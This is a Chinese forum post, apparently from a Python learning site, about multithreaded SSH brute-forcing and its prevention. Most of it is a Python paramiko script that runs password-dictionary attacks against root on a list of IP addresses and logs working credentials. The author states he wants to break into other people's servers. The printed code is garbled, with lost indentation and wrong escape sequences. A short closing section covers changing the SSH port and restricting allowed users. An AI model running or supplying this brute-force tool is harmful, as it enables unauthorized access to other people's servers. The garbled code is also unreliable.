99热99这里只有精品6国产,亚洲中文字幕在线天天更新,在线观看亚洲精品国产福利片 ,久久久久综合网

歡迎加入QQ討論群258996829
麥子學院 頭像
蘋果6袋
6
麥子學院

Python學習之多線程ssh爆破與防范詳解

發(fā)布時間:2017-08-16 17:27  回復:0  查看:2613   最后回復:2017-08-16 17:27  
本文和大家分享的主要是python 多線程的ssh **與防范相關內(nèi)容,一起來看看吧,希望對大家 學習python多線程有所幫助。
   0x01.About
  這幾天發(fā)現(xiàn)朋友的服務器22 被人爆了,于是想想,也想去爆別人服務器。
  爆弱口令時候寫的一個python 小腳本,主要功能是實現(xiàn)使用字典多線程** ssh ,支持 ip 表導入,字典數(shù)據(jù)導入。
  主要使用到的是python paramiko 模塊和多線程 threading 模塊。
  那么,首先要準備的是字典dict 、服務器 ip 表。
  東西很簡單,主要默認目錄如下:
  |--ssh.scan. py
  |--/ log:
  sshd
  |--/dict:
  ip
  password
  ip password 按照一行一個放置。
   0x02.Code
  下面上源碼吧,文件保存為ssh.scan.py ,查看使用方式: python ssh.scan.py -h
  #!/usr/bin/ python  python
  # -*- coding: utf-8 -*-
  import paramiko,threading,sys,time,os
  class SSHThread(threading.Thread):
  def __init__(self, ip, port, timeout, dic, LogFile):
  threading.Thread.__init__(self)
  self.ip = ip
  self.port = port
  self.dict = dic
  self.timeout = timeout
  self.LogFile = LogFile
  def run(self):
   print("Start try ssh => %s" % self.ip)
  username = "root"
   try:
  password =  open(self.dict). read(). split('/n')
  except:
   print("Open dict file `%s` error" % self.dict)
   exit(1)
   for  pwd in password:
   try:
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  ssh.connect(self.ip, self.port, username,  pwd, timeout = self.timeout)
   print("/nIP => %s, Login %s => %s /n" % (self.ip, username,  pwd))
   open(self.LogFile, "a"). write("[ %s ] IP => %s, port => %d, %s => %s /n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username,  pwd))
   break
  except:
   print("IP => %s, Error %s => %s" % (self.ip, username,  pwd))
  pass
  def ViolenceSSH(ip, port, timeout, dic, LogFile):
  ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
  ssh_scan.start()
  def main(ipFile, dic, log):
   if ipFile == "-h":
   help()
   try:
  ipText =  open(ipFile). read(). split('/n')
   for ip in ipText:
   if ip != '':
  time. sleep(0.5)
  threading.Thread(target = ViolenceSSH,  args = (ip, 22, 1, dic, log, )).start()
  except:
   print("Open IP list file `%s` error" % ipFile)
   exit(1)
  def  help():
   print("python ssh.scan.py  使用說明 :/n/
   python ssh.scan. py ip_file_path dict_file_path ssh_log_path /n")
   exit(1)
   if __name__ == '__main__':
  fpath = os.path.dirname(os.path.abspath('__file__'))
  ipFile = sys.argv[1]  if len(sys.argv) > 1  else fpath+"/dict/ip"
  dic = sys.argv[2]  if len(sys.argv) > 2  else fpath+"/dict/password"
  log = sys.argv[3]  if len(sys.argv) > 3  else fpath+"/log/sshd"
   try:
  os.system("clear")
  main(ipFile, dic, log)
  except KeyboardInterrupt:
   exit(1)
  結果比較丑,自己爆自己服務器:
Python學習之多線程ssh爆破與防范詳解 

QQ截圖20170409201802.png (215.46 KB, 下載次數(shù): 0)

下載附件

15 秒前 上傳


   0x03.Solution
  怎么辦呢?防止被人**,那就修改ssh 默認登陸端口吧。修改方式主要是修改 ssh 配置文件:
  1. 修改 iptables
  首先要過防火墻,修改防火墻規(guī)則:
  /sbin/iptables -A INPUT -m state –state NEW -m tcp -p tcp –dport 2333 -j ACCEPT
  保存規(guī)則:
  service iptables save
  重啟防火墻:
  service iptables restart
  2. 修改 ssh 配置文件
  cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak
  cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
  修改ssh 端口:
  vim /etc/ssh/sshd_config
  在端口#Port 22 下面增加 Port 2333
  vim /etc/ssh/ssh_config
  在端口#Port 22 下面增加 Port 2333
  重啟ssh 服務:
  service sshd restart
  3. 其他修改
  限制用戶的SSH 訪問
  假設我們只要xiaocao homeway 用戶能通過 SSH 使用系統(tǒng),向 sshd_config 配置文件中添加
  vim /etc/ssh/sshd_config
  修改下面一行:
  AllowUsers xiaocao homeway
來源: 雜術館
您還未登錄,請先登錄

熱門帖子

最新帖子

?